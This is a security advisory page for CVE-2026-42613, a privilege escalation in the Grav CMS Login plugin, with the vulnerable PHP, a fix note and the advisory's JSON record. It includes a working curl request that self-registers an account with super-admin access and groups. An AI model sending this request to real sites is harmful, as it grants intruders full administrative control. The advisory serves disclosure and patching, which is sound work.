GHSA-PXM6-MHXR-Q4MJ

Vulnerability from github – Published: 2026-05-05 21:26 – Updated: 2026-05-13 13:52
VLAI
Summary
Grav Vulnerable to Privilege Escalation via Missing Server-Side Validation of groups/access
Details

Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access

Summary

The Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request.

This is a missing server-side validation issue — the only defense is a config-level fields allowlist, which is an admin-facing setting, not a hardcoded security boundary.

Affected Component

  • File: user/plugins/login/classes/Login.php, lines 246-306
  • Method: Login::register()
  • Validation: Login::validateField(), lines 363-432
  • Plugin: Login Plugin 3.8.0
  • Grav: 1.8.0-beta.29

Root Cause

In register() (lines 254-267), the groups and access fields are only set to config defaults if they are not already present in the input data:

// Line 254-260
if (!isset($data['groups'])) {
    $groups = (array) $this->config->get('plugins.login.user_registration.groups', []);
    if (count($groups) > 0) {
        $data['groups'] = $groups;
    }
}

// Line 262-267
if (!isset($data['access'])) {
    $access = (array) $this->config->get('plugins.login.user_registration.access.site', []);
    if (count($access) > 0) {
        $data['access']['site'] = $access;
    }
}

If an attacker includes groups or access in the POST body, the !isset() check passes and the config defaults are skipped. The attacker's values flow through unchanged.

Later (lines 298-303), these values are assigned directly to the user object:

if (isset($data['groups'])) {
    $user->groups = $data['groups'];  // attacker-controlled
}
if (isset($data['access'])) {
    $user->access = $data['access'];  // attacker-controlled
}
$user->save();

The validateField() method (lines 363-432) has a switch statement that only validates: username, password, password2, email, permissions, state, and language. The groups and access fields pass through the default case with no validation at all.

Precondition

Registration must be enabled with groups and/or access in the configured allowed fields:

# user/config/plugins/login.yaml
user_registration:
  enabled: true
  fields:
    - username
    - password
    - email
    - fullname
    - groups    # ← enables the attack
    - access    # ← enables the attack

This is a configuration the admin UI allows without any warning. An admin adding groups to let users pick a non-privileged group (e.g., editors) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected.

Proof of Concept

Malicious registration request (unauthenticated):

curl -X POST "${TARGET}/user_register" \
  --data-urlencode "data[username]=attacker" \
  --data-urlencode "data[password1]=Str0ngP@ss!" \
  --data-urlencode "data[password2]=Str0ngP@ss!" \
  --data-urlencode "data[email]=attacker@evil.com" \
  --data-urlencode "data[fullname]=Attacker" \
  --data-urlencode "data[groups][]=admins" \
  --data-urlencode "data[access][admin][login]=true" \
  --data-urlencode "data[access][admin][super]=true" \
  --data-urlencode "data[access][site][login]=true" \
  --data-urlencode "form-nonce=${FORM_NONCE}" \
  --data-urlencode "__form-name__=user_register" \
  --data-urlencode "__unique_form_id__=${FORM_UID}"

Resulting account file (user/accounts/attacker.yaml):

email: attacker@evil.com
fullname: Attacker
groups:
  - admins
access:
  admin:
    login: true
    super: true
  site:
    login: true
hashed_password: ...
state: enabled

The attacker can then log into /admin with full super-admin privileges.

Impact

  • Severity: Critical (when precondition is met)
  • Vector: Unauthenticated → Super Admin
  • Escalation: Full admin panel access, which chains to RCE via known admin vectors https://github.com/getgrav/grav/security/advisories/GHSA-4fg4-8cr8-326m or Plugin Upload
  • Precondition: Registration enabled with groups or access in allowed fields — a configuration the admin UI permits without warning

Environment

  • Grav Core: 1.8.0-beta.29
  • Login Plugin: 3.8.0
  • PHP: 8.4.11

Credits

Jonathan Dersch at Hacking Cult GmbH https://hackingcult.de/

Maintainer note — fix applied (2026-04-24)

Fixed in grav-plugin-login 3.8.2 (commit 3d419a0). On the Grav 2.0 line, the login plugin is pinned at >=3.8.2 by admin2's blueprints.yaml, so sites running admin2 with Grav 2.0.0-beta.2 pick the fix up automatically.

What changed: the registration form handler now explicitly skips the groups and access privilege fields in the per-field input loop — even if an administrator added them to user_registration.fields. A warning is logged on any attempted injection. Server-side default_values, invitations, and the user_registration.{groups,access} config remain the sole sources of those values.

Files: - login.php — form handler privilege-field strip.

Severity
9.4 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0-beta.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42613"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:26:06Z",
    "nvd_published_at": "2026-05-11T16:17:34Z",
    "severity": "CRITICAL"
  },
  "details": "# Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access\n\n## Summary\n\nThe `Login::register()` method in the Login plugin accepts attacker-controlled `groups` and `access` fields from the registration POST data without server-side validation. When registration is enabled and `groups` or `access` are included in the configured allowed fields list, an unauthenticated user can self-register with `admin.super` privileges by injecting these fields into the registration request.\n\nThis is a missing server-side validation issue \u2014 the only defense is a config-level `fields` allowlist, which is an admin-facing setting, not a hardcoded security boundary.\n\n## Affected Component\n\n- **File:** `user/plugins/login/classes/Login.php`, lines 246-306\n- **Method:** `Login::register()`\n- **Validation:** `Login::validateField()`, lines 363-432\n- **Plugin:** Login Plugin 3.8.0\n- **Grav:** 1.8.0-beta.29\n\n## Root Cause\n\nIn `register()` (lines 254-267), the `groups` and `access` fields are only set to config defaults **if they are not already present in the input data**:\n\n```php\n// Line 254-260\nif (!isset($data[\u0027groups\u0027])) {\n    $groups = (array) $this-\u003econfig-\u003eget(\u0027plugins.login.user_registration.groups\u0027, []);\n    if (count($groups) \u003e 0) {\n        $data[\u0027groups\u0027] = $groups;\n    }\n}\n\n// Line 262-267\nif (!isset($data[\u0027access\u0027])) {\n    $access = (array) $this-\u003econfig-\u003eget(\u0027plugins.login.user_registration.access.site\u0027, []);\n    if (count($access) \u003e 0) {\n        $data[\u0027access\u0027][\u0027site\u0027] = $access;\n    }\n}\n```\n\nIf an attacker **includes** `groups` or `access` in the POST body, the `!isset()` check passes and the config defaults are skipped. The attacker\u0027s values flow through unchanged.\n\nLater (lines 298-303), these values are assigned directly to the user object:\n\n```php\nif (isset($data[\u0027groups\u0027])) {\n    $user-\u003egroups = $data[\u0027groups\u0027];  // attacker-controlled\n}\nif (isset($data[\u0027access\u0027])) {\n    $user-\u003eaccess = $data[\u0027access\u0027];  // attacker-controlled\n}\n$user-\u003esave();\n```\n\nThe `validateField()` method (lines 363-432) has a `switch` statement that only validates: `username`, `password`, `password2`, `email`, `permissions`, `state`, and `language`. The `groups` and `access` fields pass through the `default` case with **no validation at all**.\n\n## Precondition\n\nRegistration must be enabled with `groups` and/or `access` in the configured allowed fields:\n\n```yaml\n# user/config/plugins/login.yaml\nuser_registration:\n  enabled: true\n  fields:\n    - username\n    - password\n    - email\n    - fullname\n    - groups    # \u2190 enables the attack\n    - access    # \u2190 enables the attack\n```\n\nThis is a configuration the admin UI allows without any warning. An admin adding `groups` to let users pick a non-privileged group (e.g., `editors`) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected.\n\n## Proof of Concept\n\n### Malicious registration request (unauthenticated):\n\n```bash\ncurl -X POST \"${TARGET}/user_register\" \\\n  --data-urlencode \"data[username]=attacker\" \\\n  --data-urlencode \"data[password1]=Str0ngP@ss!\" \\\n  --data-urlencode \"data[password2]=Str0ngP@ss!\" \\\n  --data-urlencode \"data[email]=attacker@evil.com\" \\\n  --data-urlencode \"data[fullname]=Attacker\" \\\n  --data-urlencode \"data[groups][]=admins\" \\\n  --data-urlencode \"data[access][admin][login]=true\" \\\n  --data-urlencode \"data[access][admin][super]=true\" \\\n  --data-urlencode \"data[access][site][login]=true\" \\\n  --data-urlencode \"form-nonce=${FORM_NONCE}\" \\\n  --data-urlencode \"__form-name__=user_register\" \\\n  --data-urlencode \"__unique_form_id__=${FORM_UID}\"\n```\n\n### Resulting account file (`user/accounts/attacker.yaml`):\n\n```yaml\nemail: attacker@evil.com\nfullname: Attacker\ngroups:\n  - admins\naccess:\n  admin:\n    login: true\n    super: true\n  site:\n    login: true\nhashed_password: ...\nstate: enabled\n```\n\nThe attacker can then log into `/admin` with full super-admin privileges.\n\n## Impact\n\n- **Severity:** Critical (when precondition is met)\n- **Vector:** Unauthenticated \u2192 Super Admin\n- **Escalation:** Full admin panel access, which chains to RCE via known admin vectors https://github.com/getgrav/grav/security/advisories/GHSA-4fg4-8cr8-326m or Plugin Upload\n- **Precondition:** Registration enabled with `groups` or `access` in allowed fields \u2014 a configuration the admin UI permits without warning\n\n\n## Environment\n\n- Grav Core: 1.8.0-beta.29\n- Login Plugin: 3.8.0\n- PHP: 8.4.11\n\n## Credits\n\nJonathan Dersch at Hacking Cult GmbH https://hackingcult.de/\n\n\n\n---\n\n## Maintainer note \u2014 fix applied (2026-04-24)\n\nFixed in **grav-plugin-login 3.8.2** (commit [`3d419a0`](https://github.com/getgrav/grav-plugin-login/commit/3d419a0)). On the Grav 2.0 line, the login plugin is pinned at `\u003e=3.8.2` by admin2\u0027s [`blueprints.yaml`](https://github.com/getgrav/grav-plugin-admin2/blob/develop/blueprints.yaml), so sites running admin2 with Grav **2.0.0-beta.2** pick the fix up automatically.\n\n**What changed:** the registration form handler now explicitly skips the `groups` and `access` privilege fields in the per-field input loop \u2014 even if an administrator added them to `user_registration.fields`. A warning is logged on any attempted injection. Server-side `default_values`, invitations, and the `user_registration.{groups,access}` config remain the sole sources of those values.\n\n**Files:**\n- [`login.php`](https://github.com/getgrav/grav-plugin-login/blob/develop/login.php) \u2014 form handler privilege-field strip.",
  "id": "GHSA-pxm6-mhxr-q4mj",
  "modified": "2026-05-13T13:52:14Z",
  "published": "2026-05-05T21:26:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-pxm6-mhxr-q4mj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-w48r-jppp-rcfw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42613"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav-plugin-login/commit/3d419a0dabd70aed1fd49afcd5919004a4141da1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grav Vulnerable to Privilege Escalation via Missing Server-Side Validation of groups/access"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.